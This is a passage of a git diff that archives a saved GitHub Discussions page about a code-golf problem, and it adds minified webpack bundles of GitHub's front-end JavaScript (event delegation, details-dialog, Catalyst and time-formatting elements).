BkK6aQo24oqYMsoCknOg==",app_components_search_suggestions_blackbird_ts:"sha512-nT8LmhZgTVjXgUF9CK3GY8IdgTcYQcmhxgsA6aUT4wg0cR/jVk1B/YE5VRDpkbCeB16uiXEoa/PmlGygMiomnw==","app_components_search_suggestions_custom-scopes_ts":"sha512-3yWFLjrYRLUAB6oZ58Stabx+/gGwA7Baykephq56A5TA0WG2HvjuKJbTBTO05cjk22FpKGwA5yRpiZkHj4eXRw==",app_components_search_suggestions_default_ts:"sha512-HnCDdQpYLyjUz/WadRyCKStd4WtOmEa6HrhlN1McRzpH9r1JIhjNDuMJMqzVQhDTbaUFWBSYmt1wSJ/f4aDoxA==","app_components_search_suggestions_fixed-qualifiers_ts":"sha512-89o1r1T3mLKODJXmqnk+WedDAG0vur/nZNkVNA/Ww6xlQe/3Pe7NVfeF6j+LF0lpXOuVaIiAMK1SSDsPycBB8g==",app_components_search_suggestions_history_ts:"sha512-W3d407jS9VxXVyYTgLU485MVvXJKJhzs9iB/iyw/w4fei1MnDGLak++RmV4OiAmmkT+kLJsGBSd/aavIoXJB3g==",app_components_search_suggestions_languages_ts:"sha512-+PkaaSelHAPYRWvviLTId1S3HIvVw0yk99N4K2OhA/qTP37c9cOFgsxqO6t/Ki5/tzGp6jyYDqEKgJJ7SMEBZQ==",app_components_search_suggestions_suggestions_ts:"sha512-B7Nlh0geByqceYH4+Rta1MOcallw8HWTDn5fiO21ZrADo+QrSod8uRcVTq3CXWX6p6brzmE0tOjoAP9yB7u6Pg==",app_components_search_suggestions_types_ts:"sha512-kW49jEW0Ab9BtybEId64VGmsyfPlOMVRk/ttcVGyeC6+rnUeIFnlln8vL0pNwdhKSOP2pCk5o6+8EvXVosLjdw==","app_components_slash_commands_slash-command-toolbar-button-element_ts":"sha512-RHdlYHzDfpMjOdZbCWoUFmk7jTWLHTjZetsimOsI0Ms7D+5RcEAw9R0Eob3AsGx51A2AKGReTLzV0zZ1rv91qg==","app_components_stafftools_turbo_turbo-staffbar-element_ts":"sha512-IvoC4fAhrI5aCxE5K9bvUE20nGvZSVpVDVEwBKXLNimIYPnLDBbuLuRZRqWVfmNrRWt6oKPX/LTdGZQ6QwtUcg==","app_components_stafftools_turbo_turbo-staffbar-preview-element_ts":"sha512-MCpREfCnzYzKvsgDV2FuJdeHsK0Ob0MzLmzsH8TO7CyOJ3osSerFgJsB0pfYjxTb1jXPJmPkeqe6SwdNr4VyDg==","app_components_themed_pictures_themed-picture-element_ts":"sha512-nyzAyLD8t++Lyh+i/IKpkIk0JfFWjP0qKvuLoM4xwk4ck35wyex+EacGOIFiOH2LelcXV0FiL/xboRcVtgNl+A==","app_components_tracking_blocks_tracking-block-api_ts":"sha512-0u38w/1aNEmAh0TLGo79x4AYCYdt7S4g5mR0FShL9mAHI3mvtDhb3HSVqZJGoeh8+3vkIw6UUYLFrt69hQJYqw==","app_components_tracking_blocks_tracking-block-element_ts":"sha512-G/lNuFWi3Z6zNIzTSz/T2zcqJ6Q9zgtE3ttmIErpquUgVfeT29w9J3DOChUvscxdIaveCQC9QcxPLstZf9tauw==","app_components_tracking_blocks_tracking-block-omnibar-element_ts":"sha512-93Y2PZscwJN7bH9FjJ1jEkJWb+KmThUoqqUPL2pn/5RoO8Bd5y0yMSWoRSPJTy90r7Pw/9R4513IQAWSdiXeVQ==","app_assets_modules_github_emoji-picker-element_ts":"sha512-XraQrYuikdc2um+3rCRgeIwFYRKLUjir8U/nwSYOF52Vu+1v8etWLeILxjZKclExKqR/yZvn0UJYYLWez3W1ng==","app_assets_modules_github_behaviors_edit-hook-secret-element_ts":"sha512-VRfnq+eDbUcN8tTNmazkjOfVLTwP1zk5uj9fcgMr5CJ44xcp3O6uEhIRf6ceEZqWXbXvFCXR74TJ/X9xhVOV3g==","app_assets_modules_github_insights_insights-query_ts":"sha512-HUmykKCpoMqBGXg4S+Nzyneods7BnBTFdmev9lHrzcNlM4NUFiMBAO6KDU4QInL0IUXdEuZZGUZv9f5jGvJoKQ==","app_assets_modules_github_insights_series-table_ts":"sha512-iMQOln09UQ5kc+1plprNbTA6oySd/N4Pv7pNm5C0x+9SU+O3dy1+amg2vZPGiXwk0wW5jGP5lIRKUFKF4YaNZA==","app_assets_modules_github_presence_presence-avatars_ts":"sha512-aO6oYeK9FLQSsM97Dv6ydNEidC1URILeRiPeecHGx1+eiq9VfY4RRORukAQU2o+ADwNj93pxyLIWh56EX1FBsQ==","app_assets_modules_github_behaviors_reload-after-polling-element_ts":"sha512-A4PhKT/oT4hmMoP9muRqfT0p0BESrLWM2Q055YxXW+1vjz8rHLBLMo0RWDhm5pVMfQ3ONZ3UB/DaGfAAKLMY0g==",app_assets_modules_github_dependencies_ts:"sha512-nt/ORE7b8HDLyl9kFMy/WSAJb5WY7Z7LnOJXxJ3nvpqgFW/0x6cWKlvpmLbWmE/Kavq1kyridh02ZMgxswaCIg==","vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_catalyst_lib_inde-758ef9":"sha512-wwilBKUArz/rX5pIRCf12Drd7eXVXs1ojNAHgi9psdcnAkO6+cB5qG1JeZN7rySsdjVfG9ROnrrjbjsoUIonsA==","app_assets_modules_github_graphs_network-graph-element_ts":"sha512-Tn2dyXwUODVBVNhSZCvNV+cpSmFs3I5Ac0cTiVt9ytytAtXbugUtI4wiHkvlob5EOaAkjhOXJ4fbn8CeEtaUBw==","app_assets_modules_github_localization_inline-machine-translation-element_ts":"sha512-IDhGCIIlRbHjsowkTJXs0sd/86Zcld1QMdi2paC9Asgm3ZaNFG7utv/8tiOendd16UL8atdCfNM9dZJzMn9PUQ=="},(()=>{var e={runtime:0};t.f.j=(a,n)=>{var s=t.o(e,a)?e[a]:void 0;if(s!==0)if(s)n.push(s[2]);else if(a!="runtime"){var p=new Promise((d,m)=>s=e[a]=[d,m]);n.push(s[2]=p);var r=t.p+t.u(a),i=new Error,l=u(d=>{if(t.o(e,a)&&(s=e[a],s!==0&&(e[a]=void 0),s)){var m=d&&(d.type==="load"?"missing":d.type),c=d&&d.target&&d.target.src;i.message="Loading chunk "+a+` failed. +(`+m+": "+c+")",i.name="ChunkLoadError",i.type=m,i.request=c,s[1](i)}},"loadingEnded");t.l(r,l,"chunk-"+a,a)}else e[a]=0},t.O.j=a=>e[a]===0;var o=u((a,n)=>{var[s,p,r]=n,i,l,d=0;if(s.some(c=>e[c]!==0)){for(i in p)t.o(p,i)&&(t.m[i]=p[i]);if(r)var m=r(t)}for(a&&a(n);d{var K=Object.defineProperty;var u=(W,L)=>K(W,"name",{value:L,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe","node_modules_delegated-events_dist_index_js"],{59753:(W,L,H)=>{H.d(L,{f:()=>V,on:()=>z});function g(){if(!(this instanceof g))return new g;this.size=0,this.uid=0,this.selectors=[],this.selectorObjects={},this.indexes=Object.create(this.indexes),this.activeIndexes=[]}u(g,"SelectorSet");var x=window.document.documentElement,F=x.matches||x.webkitMatchesSelector||x.mozMatchesSelector||x.oMatchesSelector||x.msMatchesSelector;g.prototype.matchesSelector=function(e,r){return F.call(e,r)},g.prototype.querySelectorAll=function(e,r){return r.querySelectorAll(e)},g.prototype.indexes=[];var q=/^#((?:[\w\u00c0-\uFFFF\-]|\\.)+)/g;g.prototype.indexes.push({name:"ID",selector:u(function(r){var n;if(n=r.match(q))return n[0].slice(1)},"matchIdSelector"),element:u(function(r){if(r.id)return[r.id]},"getElementId")});var P=/^\.((?:[\w\u00c0-\uFFFF\-]|\\.)+)/g;g.prototype.indexes.push({name:"CLASS",selector:u(function(r){var n;if(n=r.match(P))return n[0].slice(1)},"matchClassSelector"),element:u(function(r){var n=r.className;if(n){if(typeof n=="string")return n.split(/\s/);if(typeof n=="object"&&"baseVal"in n)return n.baseVal.split(/\s/)}},"getElementClassNames")});var B=/^((?:[\w\u00c0-\uFFFF\-]|\\.)+)/g;g.prototype.indexes.push({name:"TAG",selector:u(function(r){var n;if(n=r.match(B))return n[0].toUpperCase()},"matchTagSelector"),element:u(function(r){return[r.nodeName.toUpperCase()]},"getElementTagName")}),g.prototype.indexes.default={name:"UNIVERSAL",selector:function(){return!0},element:function(){return[!0]}};var C;typeof window.Map=="function"?C=window.Map:C=function(){function e(){this.map={}}return u(e,"Map"),e.prototype.get=function(r){return this.map[r+" "]},e.prototype.set=function(r,n){this.map[r+" "]=n},e}();var I=/((?:\((?:\([^()]+\)|[^()]+)+\)|\[(?:\[[^\[\]]*\]|['"][^'"]*['"]|[^\[\]'"]+)+\]|\\.|[^ >+~,(\[\\]+)+|[>+~])(\s*,\s*)?((?:.|\r|\n)*)/g;function O(e,r){e=e.slice(0).concat(e.default);var n=e.length,c,o,l,a,f=r,m,h,p=[];do if(I.exec(""),(l=I.exec(f))&&(f=l[3],l[2]||!f)){for(c=0;c3&&arguments[3]!==void 0?arguments[3]:{},o=!!c.capture,l=o?w:_,a=l[e];a||(a=new g,l[e]=a,document.addEventListener(e,k,o)),a.add(r,n)}u(z,"on");function G(e,r,n){var c=arguments.length>3&&arguments[3]!==void 0?arguments[3]:{},o=!!c.capture,l=o?w:_,a=l[e];!a||(a.remove(r,n),!a.size&&(delete l[e],document.removeEventListener(e,k,o)))}u(G,"off");function V(e,r,n){return e.dispatchEvent(new CustomEvent(r,{bubbles:!0,cancelable:!0,detail:n}))}u(V,"fire")},14840:(W,L,H)=>{H.d(L,{Z:()=>R});const g="data-close-dialog",x=`[${g}]`;function F(s){let t=Array.from(s.querySelectorAll("[autofocus]")).filter(P)[0];t||(t=s,s.setAttribute("tabindex","-1")),t.focus()}u(F,"autofocus");function q(s){const t=s.currentTarget;t instanceof Element&&(s.key==="Escape"||s.key==="Esc"?(_(t,!1),s.stopPropagation()):s.key==="Tab"&&C(s))}u(q,"keydown");function P(s){return s.tabIndex>=0&&!s.disabled&&B(s)}u(P,"focusable");function B(s){return!s.hidden&&(!s.type||s.type!=="hidden")&&(s.offsetWidth>0||s.offsetHeight>0)}u(B,"visible");function C(s){if(!(s.currentTarget instanceof Element))return;const t=s.currentTarget.querySelector("details-dialog");if(!t)return;s.preventDefault();const i=Array.from(t.querySelectorAll("*")).filter(P);if(i.length===0)return;const d=s.shiftKey?-1:1,E=t.getRootNode(),N=t.contains(E.activeElement)?E.activeElement:null;let k=d===-1?-1:0;if(N instanceof HTMLElement){const z=i.indexOf(N);z!==-1&&(k=z+d)}k<0?k=i.length-1:k=k%i.length,i[k].focus()}u(C,"restrictTabBehavior");function I(s){const t=s.querySelector("details-dialog");return t instanceof y?t.dispatchEvent(new CustomEvent("details-dialog-close",{bubbles:!0,cancelable:!0})):!0}u(I,"allowClosingDialog");function O(s){if(!(s.currentTarget instanceof Element))return;const t=s.currentTarget.closest("details");!t||!t.hasAttribute("open")||I(t)||(s.preventDefault(),s.stopPropagation())}u(O,"onSummaryClick");function M(s){const t=s.currentTarget;if(!(t instanceof Element))return;const i=t.querySelector("details-dialog");if(i instanceof y)if(t.hasAttribute("open")){const d="getRootNode"in i?i.getRootNode():document;d.activeElement instanceof HTMLElement&&b.set(i,{details:t,activeElement:d.activeElement}),F(i),t.addEventListener("keydown",q)}else{for(const E of i.querySelectorAll("form"))E.reset();const d=D(t,i);d&&d.focus(),t.removeEventListener("keydown",q)}}u(M,"toggle");function D(s,t){const i=b.get(t);return i&&i.activeElement instanceof HTMLElement?i.activeElement:s.querySelector("summary")}u(D,"findFocusElement");function _(s,t){t!==s.hasAttribute("open")&&(t?s.setAttribute("open",""):I(s)&&s.removeAttribute("open"))}u(_,"toggleDetails");function w(s){const t=s.currentTarget;if(!(t instanceof Element))return;const i=t.querySelector("details-dialog");if(!(i instanceof y))return;const d=i.querySelector("include-fragment:not([src])");if(!d)return;const E=i.src;E!==null&&(d.addEventListener("loadend",()=>{t.hasAttribute("open")&&F(i)}),d.setAttribute("src",E),T(t))}u(w,"loadIncludeFragment");function A(s,t,i){T(s),t&&s.addEventListener("toggle",w,{once:!0}),t&&i&&s.addEventListener("mouseover",w,{once:!0})}u(A,"updateIncludeFragmentEventListeners");function T(s){s.removeEventListener("toggle",w),s.removeEventListener("mouseover",w)}u(T,"removeIncludeFragmentEventListeners");const b=new WeakMap;class y extends HTMLElement{static get CLOSE_ATTR(){return g}static get CLOSE_SELECTOR(){return x}constructor(){super();b.set(this,{details:null,activeElement:null}),this.addEventListener("click",function({target:t}){if(!(t instanceof Element))return;const i=t.closest("details");i&&t.closest(x)&&_(i,!1)})}get src(){return this.getAttribute("src")}set src(t){this.setAttribute("src",t||"")}get preload(){return this.hasAttribute("preload")}set preload(t){t?this.setAttribute("preload",""):this.removeAttribute("preload")}connectedCallback(){this.setAttribute("role","dialog"),this.setAttribute("aria-modal","true");const t=b.get(this);if(!t)return;const i=this.parentElement;if(!i)return;const d=i.querySelector("summary");d&&(d.hasAttribute("role")||d.setAttribute("role","button"),d.addEventListener("click",O,{capture:!0})),i.addEventListener("toggle",M),t.details=i,A(i,this.src,this.preload)}disconnectedCallback(){const t=b.get(this);if(!t)return;const{details:i}=t;if(!i)return;i.removeEventListener("toggle",M),T(i);const d=i.querySelector("summary");d&&d.removeEventListener("click",O,{capture:!0}),t.details=null}toggle(t){const i=b.get(this);if(!i)return;const{details:d}=i;!d||_(d,t)}static get observedAttributes(){return["src","preload"]}attributeChangedCallback(){const t=b.get(this);if(!t)return;const{details:i}=t;!i||A(i,this.src,this.preload)}}u(y,"DetailsDialogElement");const R=y;window.customElements.get("details-dialog")||(window.DetailsDialogElement=y,window.customElements.define("details-dialog",y))}}]);})(); + +//# sourceMappingURL=vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-2fddb5aecbef.js.map \ No newline at end of file diff --git a/archive/Problem 5 Mocking Spongebob · Discussion #6 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_delegated-events_dist_index_js-node_modu.js b/archive/Problem 5 Mocking Spongebob · Discussion #6 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_delegated-events_dist_index_js-node_modu.js new file mode 100644 index 0000000..f0a9ad6 --- /dev/null +++ b/archive/Problem 5 Mocking Spongebob · Discussion #6 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_delegated-events_dist_index_js-node_modu.js @@ -0,0 +1,3 @@ +"use strict";(()=>{var Z=Object.defineProperty;var a=(z,_)=>Z(z,"name",{value:_,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-01c6c51","node_modules_delegated-events_dist_index_js","vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-01c6c50","vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-01c6c52"],{59753:(z,_,D)=>{D.d(_,{f:()=>o,on:()=>G});function p(){if(!(this instanceof p))return new p;this.size=0,this.uid=0,this.selectors=[],this.selectorObjects={},this.indexes=Object.create(this.indexes),this.activeIndexes=[]}a(p,"SelectorSet");var v=window.document.documentElement,P=v.matches||v.webkitMatchesSelector||v.mozMatchesSelector||v.oMatchesSelector||v.msMatchesSelector;p.prototype.matchesSelector=function(e,n){return P.call(e,n)},p.prototype.querySelectorAll=function(e,n){return n.querySelectorAll(e)},p.prototype.indexes=[];var y=/^#((?:[\w\u00c0-\uFFFF\-]|\\.)+)/g;p.prototype.indexes.push({name:"ID",selector:a(function(n){var r;if(r=n.match(y))return r[0].slice(1)},"matchIdSelector"),element:a(function(n){if(n.id)return[n.id]},"getElementId")});var C=/^\.((?:[\w\u00c0-\uFFFF\-]|\\.)+)/g;p.prototype.indexes.push({name:"CLASS",selector:a(function(n){var r;if(r=n.match(C))return r[0].slice(1)},"matchClassSelector"),element:a(function(n){var r=n.className;if(r){if(typeof r=="string")return r.split(/\s/);if(typeof r=="object"&&"baseVal"in r)return r.baseVal.split(/\s/)}},"getElementClassNames")});var x=/^((?:[\w\u00c0-\uFFFF\-]|\\.)+)/g;p.prototype.indexes.push({name:"TAG",selector:a(function(n){var r;if(r=n.match(x))return r[0].toUpperCase()},"matchTagSelector"),element:a(function(n){return[n.nodeName.toUpperCase()]},"getElementTagName")}),p.prototype.indexes.default={name:"UNIVERSAL",selector:function(){return!0},element:function(){return[!0]}};var A;typeof window.Map=="function"?A=window.Map:A=function(){function e(){this.map={}}return a(e,"Map"),e.prototype.get=function(n){return this.map[n+" "]},e.prototype.set=function(n,r){this.map[n+" "]=r},e}();var S=/((?:\((?:\([^()]+\)|[^()]+)+\)|\[(?:\[[^\[\]]*\]|['"][^'"]*['"]|[^\[\]'"]+)+\]|\\.|[^ >+~,(\[\\]+)+|[>+~])(\s*,\s*)?((?:.|\r|\n)*)/g;function w(e,n){e=e.slice(0).concat(e.default);var r=e.length,i,s,c,u,d=n,l,h,f=[];do if(S.exec(""),(c=S.exec(d))&&(d=c[3],c[2]||!d)){for(i=0;i3&&arguments[3]!==void 0?arguments[3]:{},s=!!i.capture,c=s?E:k,u=c[e];u||(u=new p,c[e]=u,document.addEventListener(e,V,s)),u.add(n,r)}a(G,"on");function t(e,n,r){var i=arguments.length>3&&arguments[3]!==void 0?arguments[3]:{},s=!!i.capture,c=s?E:k,u=c[e];!u||(u.remove(n,r),!u.size&&(delete c[e],document.removeEventListener(e,V,s)))}a(t,"off");function o(e,n,r){return e.dispatchEvent(new CustomEvent(n,{bubbles:!0,cancelable:!0,detail:r}))}a(o,"fire")},90420:(z,_,D)=>{D.d(_,{Lj:()=>T,Ih:()=>G,fA:()=>k,GO:()=>E});const p=new WeakSet;function v(t){p.add(t),t.shadowRoot&&P(t.shadowRoot),x(t),C(t.ownerDocument)}a(v,"bind");function P(t){x(t),C(t)}a(P,"bindShadow");const y=new WeakMap;function C(t=document){if(y.has(t))return y.get(t);let o=!1;const e=new MutationObserver(r=>{for(const i of r)if(i.type==="attributes"&&i.target instanceof Element)w(i.target);else if(i.type==="childList"&&i.addedNodes.length)for(const s of i.addedNodes)s instanceof Element&&x(s)});e.observe(t,{childList:!0,subtree:!0,attributeFilter:["data-action"]});const n={get closed(){return o},unsubscribe(){o=!0,y.delete(t),e.disconnect()}};return y.set(t,n),n}a(C,"listenForBind");function x(t){for(const o of t.querySelectorAll("[data-action]"))w(o);t instanceof Element&&t.hasAttribute("data-action")&&w(t)}a(x,"bindElements");function A(t){const o=t.currentTarget;for(const e of S(o))if(t.type===e.type){const n=o.closest(e.tag);p.has(n)&&typeof n[e.method]=="function"&&n[e.method](t);const r=o.getRootNode();if(r instanceof ShadowRoot&&p.has(r.host)&&r.host.matches(e.tag)){const i=r.host;typeof i[e.method]=="function"&&i[e.method](t)}}}a(A,"handleEvent");function*S(t){for(const o of(t.getAttribute("data-action")||"").trim().split(/\s+/)){const e=o.lastIndexOf(":"),n=Math.max(0,o.lastIndexOf("#"))||o.length;yield{type:o.slice(0,e),tag:o.slice(e+1,n),method:o.slice(n+1)||"handleEvent"}}}a(S,"bindings");function w(t){for(const o of S(t))t.addEventListener(o.type,A)}a(w,"bindActions");function W(t,o){const e=t.tagName.toLowerCase();if(t.shadowRoot){for(const n of t.shadowRoot.querySelectorAll(`[data-target~="${e}.${o}"]`))if(!n.closest(e))return n}for(const n of t.querySelectorAll(`[data-target~="${e}.${o}"]`))if(n.closest(e)===t)return n}a(W,"findTarget");function M(t,o){const e=t.tagName.toLowerCase(),n=[];if(t.shadowRoot)for(const r of t.shadowRoot.querySelectorAll(`[data-targets~="${e}.${o}"]`))r.closest(e)||n.push(r);for(const r of t.querySelectorAll(`[data-targets~="${e}.${o}"]`))r.closest(e)===t&&n.push(r);return n}a(M,"findTargets");function k(t,o){return Object.defineProperty(t,o,{configurable:!0,get(){return W(this,o)}})}a(k,"target");function E(t,o){return Object.defineProperty(t,o,{configurable:!0,get(){return M(this,o)}})}a(E,"targets");function j(t){const o=t.name.replace(/([A-Z]($|[a-z]))/g,"-$1").replace(/(^-|-Element$)/g,"").toLowerCase();window.customElements.get(o)||(window[t.name]=t,window.customElements.define(o,t))}a(j,"register");function O(t){for(const o of t.querySelectorAll("template[data-shadowroot]"))o.parentElement===t&&t.attachShadow({mode:o.getAttribute("data-shadowroot")==="closed"?"closed":"open"}).append(o.content.cloneNode(!0))}a(O,"autoShadowRoot");const m=new WeakMap;function T(t,o){m.has(t)||m.set(t,[]),m.get(t).push(o)}a(T,"attr");function N(t,o){o||(o=R(Object.getPrototypeOf(t)));for(const e of o){const n=t[e],r=F(e);let i={configurable:!0,get(){return this.getAttribute(r)||""},set(s){this.setAttribute(r,s||"")}};typeof n=="number"?i={configurable:!0,get(){return Number(this.getAttribute(r)||0)},set(s){this.setAttribute(r,s)}}:typeof n=="boolean"&&(i={configurable:!0,get(){return this.hasAttribute(r)},set(s){this.toggleAttribute(r,s)}}),Object.defineProperty(t,e,i),e in t&&!t.hasAttribute(r)&&i.set.call(t,n)}}a(N,"initializeAttrs");function R(t){const o=new Set;let e=t;for(;e&&e!==HTMLElement;){const n=m.get(e)||[];for(const r of n)o.add(r);e=Object.getPrototypeOf(e)}return o}a(R,"getAttrNames");function F(t){return`data-${t.replace(/([A-Z]($|[a-z]))/g,"-$1")}`.replace(/--/g,"-").toLowerCase()}a(F,"attrToAttributeName");function U(t){let o=t.observedAttributes||[];Object.defineProperty(t,"observedAttributes",{configurable:!0,get(){return[...R(t.prototype)].map(F).concat(o)},set(e){o=e}})}a(U,"defineObservedAttributes");const L=new WeakSet;function $(t,o){t.toggleAttribute("data-catalyst",!0),customElements.upgrade(t),L.add(t),O(t),N(t),v(t),o&&o.call(t),t.shadowRoot&&P(t.shadowRoot)}a($,"initializeInstance");function B(t){U(t),j(t)}a(B,"initializeClass");function V(t){return L.has(t)}a(V,"initialized");function G(t){const o=t.prototype.connectedCallback;t.prototype.connectedCallback=function(){$(this,o)},B(t)}a(G,"controller")}}]);})(); + +//# sourceMappingURL=vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-01c6c51-edfd57e08401.js.map \ No newline at end of file diff --git a/archive/Problem 5 Mocking Spongebob · Discussion #6 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_catalyst_lib_index_js-node_module.js b/archive/Problem 5 Mocking Spongebob · Discussion #6 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_catalyst_lib_index_js-node_module.js new file mode 100644 index 0000000..c45b168 --- /dev/null +++ b/archive/Problem 5 Mocking Spongebob · Discussion #6 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_catalyst_lib_index_js-node_module.js @@ -0,0 +1,3 @@ +"use strict";(()=>{var B=Object.defineProperty;var i=(I,_)=>B(I,"name",{value:_,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["vendors-node_modules_github_catalyst_lib_index_js-node_modules_github_time-elements_dist_index_js"],{90420:(I,_,L)=>{L.d(_,{Lj:()=>Y,Ih:()=>T,fA:()=>P,GO:()=>U});const F=new WeakSet;function v(e){F.add(e),e.shadowRoot&&g(e.shadowRoot),p(e),b(e.ownerDocument)}i(v,"bind");function g(e){p(e),b(e)}i(g,"bindShadow");const w=new WeakMap;function b(e=document){if(w.has(e))return w.get(e);let o=!1;const a=new MutationObserver(m=>{for(const n of m)if(n.type==="attributes"&&n.target instanceof Element)M(n.target);else if(n.type==="childList"&&n.addedNodes.length)for(const t of n.addedNodes)t instanceof Element&&p(t)});a.observe(e,{childList:!0,subtree:!0,attributeFilter:["data-action"]});const l={get closed(){return o},unsubscribe(){o=!0,w.delete(e),a.disconnect()}};return w.set(e,l),l}i(b,"listenForBind");function p(e){for(const o of e.querySelectorAll("[data-action]"))M(o);e instanceof Element&&e.hasAttribute("data-action")&&M(e)}i(p,"bindElements");function z(e){const o=e.currentTarget;for(const a of D(o))if(e.type===a.type){const l=o.closest(a.tag);F.has(l)&&typeof l[a.method]=="function"&&l[a.method](e);const m=o.getRootNode();if(m instanceof ShadowRoot&&F.has(m.host)&&m.host.matches(a.tag)){const n=m.host;typeof n[a.method]=="function"&&n[a.method](e)}}}i(z,"handleEvent");function*D(e){for(const o of(e.getAttribute("data-action")||"").trim().split(/\s+/)){const a=o.lastIndexOf(":"),l=Math.max(0,o.lastIndexOf("#"))||o.length;yield{type:o.slice(0,a),tag:o.slice(a+1,l),method:o.slice(l+1)||"handleEvent"}}}i(D,"bindings");function M(e){for(const o of D(e))e.addEventListener(o.type,z)}i(M,"bindActions");function N(e,o){const a=e.tagName.toLowerCase();if(e.shadowRoot){for(const l of e.shadowRoot.querySelectorAll(`[data-target~="${a}.${o}"]`))if(!l.closest(a))return l}for(const l of e.querySelectorAll(`[data-target~="${a}.${o}"]`))if(l.closest(a)===e)return l}i(N,"findTarget");function q(e,o){const a=e.tagName.toLowerCase(),l=[];if(e.shadowRoot)for(const m of e.shadowRoot.querySelectorAll(`[data-targets~="${a}.${o}"]`))m.closest(a)||l.push(m);for(const m of e.querySelectorAll(`[data-targets~="${a}.${o}"]`))m.closest(a)===e&&l.push(m);return l}i(q,"findTargets");function P(e,o){return Object.defineProperty(e,o,{configurable:!0,get(){return N(this,o)}})}i(P,"target");function U(e,o){return Object.defineProperty(e,o,{configurable:!0,get(){return q(this,o)}})}i(U,"targets");function E(e){const o=e.name.replace(/([A-Z]($|[a-z]))/g,"-$1").replace(/(^-|-Element$)/g,"").toLowerCase();window.customElements.get(o)||(window[e.name]=e,window.customElements.define(o,e))}i(E,"register");function C(e){for(const o of e.querySelectorAll("template[data-shadowroot]"))o.parentElement===e&&e.attachShadow({mode:o.getAttribute("data-shadowroot")==="closed"?"closed":"open"}).append(o.content.cloneNode(!0))}i(C,"autoShadowRoot");const A=new WeakMap;function Y(e,o){A.has(e)||A.set(e,[]),A.get(e).push(o)}i(Y,"attr");function R(e,o){o||(o=S(Object.getPrototypeOf(e)));for(const a of o){const l=e[a],m=x(a);let n={configurable:!0,get(){return this.getAttribute(m)||""},set(t){this.setAttribute(m,t||"")}};typeof l=="number"?n={configurable:!0,get(){return Number(this.getAttribute(m)||0)},set(t){this.setAttribute(m,t)}}:typeof l=="boolean"&&(n={configurable:!0,get(){return this.hasAttribute(m)},set(t){this.toggleAttribute(m,t)}}),Object.defineProperty(e,a,n),a in e&&!e.hasAttribute(m)&&n.set.call(e,l)}}i(R,"initializeAttrs");function S(e){const o=new Set;let a=e;for(;a&&a!==HTMLElement;){const l=A.get(a)||[];for(const m of l)o.add(m);a=Object.getPrototypeOf(a)}return o}i(S,"getAttrNames");function x(e){return`data-${e.replace(/([A-Z]($|[a-z]))/g,"-$1")}`.replace(/--/g,"-").toLowerCase()}i(x,"attrToAttributeName");function H(e){let o=e.observedAttributes||[];Object.defineProperty(e,"observedAttributes",{configurable:!0,get(){return[...S(e.prototype)].map(x).concat(o)},set(a){o=a}})}i(H,"defineObservedAttributes");const y=new WeakSet;function h(e,o){e.toggleAttribute("data-catalyst",!0),customElements.upgrade(e),y.add(e),C(e),R(e),v(e),o&&o.call(e),e.shadowRoot&&g(e.shadowRoot)}i(h,"initializeInstance");function O(e){H(e),E(e)}i(O,"initializeClass");function Z(e){return y.has(e)}i(Z,"initialized");function T(e){const o=e.prototype.connectedCallback;e.prototype.connectedCallback=function(){h(this,o)},O(e)}i(T,"controller")},75329:(I,_,L)=>{L.d(_,{nJ:()=>T});const F=["Sunday","Monday","Tuesday","Wednesday","Thursday","Friday","Saturday"],v=["January","February","March","April","May","June","July","August","September","October","November","December"];function g(n){return`0${n}`.slice(-2)}i(g,"pad");function w(n,t){const r=n.getDay(),s=n.getDate(),c=n.getMonth(),u=n.getFullYear(),d=n.getHours(),f=n.getMinutes(),$=n.getSeconds();return t.replace(/%([%aAbBcdeHIlmMpPSwyYZz])/g,function(W){let k;switch(W[1]){case"%":return"%";case"a":return F[r].slice(0,3);case"A":return F[r];case"b":return v[c].slice(0,3);case"B":return v[c];case"c":return n.toString();case"d":return g(s);case"e":return String(s);case"H":return g(d);case"I":return g(w(n,"%l"));case"l":return String(d===0||d===12?12:(d+12)%12);case"m":return g(c+1);case"M":return g(f);case"p":return d>11?"PM":"AM";case"P":return d>11?"pm":"am";case"S":return g($);case"w":return String(r);case"y":return g(u%100);case"Y":return String(u);case"Z":return k=n.toString().match(/\((\w+)\)$/),k?k[1]:"";case"z":return k=n.toString().match(/\w([+-]\d\d\d\d) /),k?k[1]:""}return""})}i(w,"strftime");function b(n){let t;return function(){if(t)return t;if("Intl"in window)try{return t=new Intl.DateTimeFormat(void 0,n),t}catch(r){if(!(r instanceof RangeError))throw r}}}i(b,"makeFormatter");let p=null;const z=b({day:"numeric",month:"short"});function D(){if(p!==null)return p;const n=z();return n?(p=!!n.format(new Date(0)).match(/^\d/),p):!1}i(D,"isDayFirst");let M=null;const N=b({day:"numeric",month:"short",year:"numeric"});function q(){if(M!==null)return M;const n=N();return n?(M=!!n.format(new Date(0)).match(/\d,/),M):!0}i(q,"isYearSeparator");function P(n){return new Date().getUTCFullYear()===n.getUTCFullYear()}i(P,"isThisYear");function U(n,t){if("Intl"in window&&"RelativeTimeFormat"in window.Intl)try{return new Intl.RelativeTimeFormat(n,t)}catch(r){if(!(r instanceof RangeError))throw r}}i(U,"makeRelativeFormat");function E(n){const t=n.closest("[lang]");return t instanceof HTMLElement&&t.lang?t.lang:"default"}i(E,"localeFromElement");const C=new WeakMap;class A extends HTMLElement{static get observedAttributes(){return["datetime","day","format","lang","hour","minute","month","second","title","weekday","year","time-zone-name"]}connectedCallback(){const t=this.getFormattedTitle();t&&!this.hasAttribute("title")&&this.setAttribute("title",t);const r=this.getFormattedDate();r&&(this.textContent=r)}attributeChangedCallback(t,r,s){const 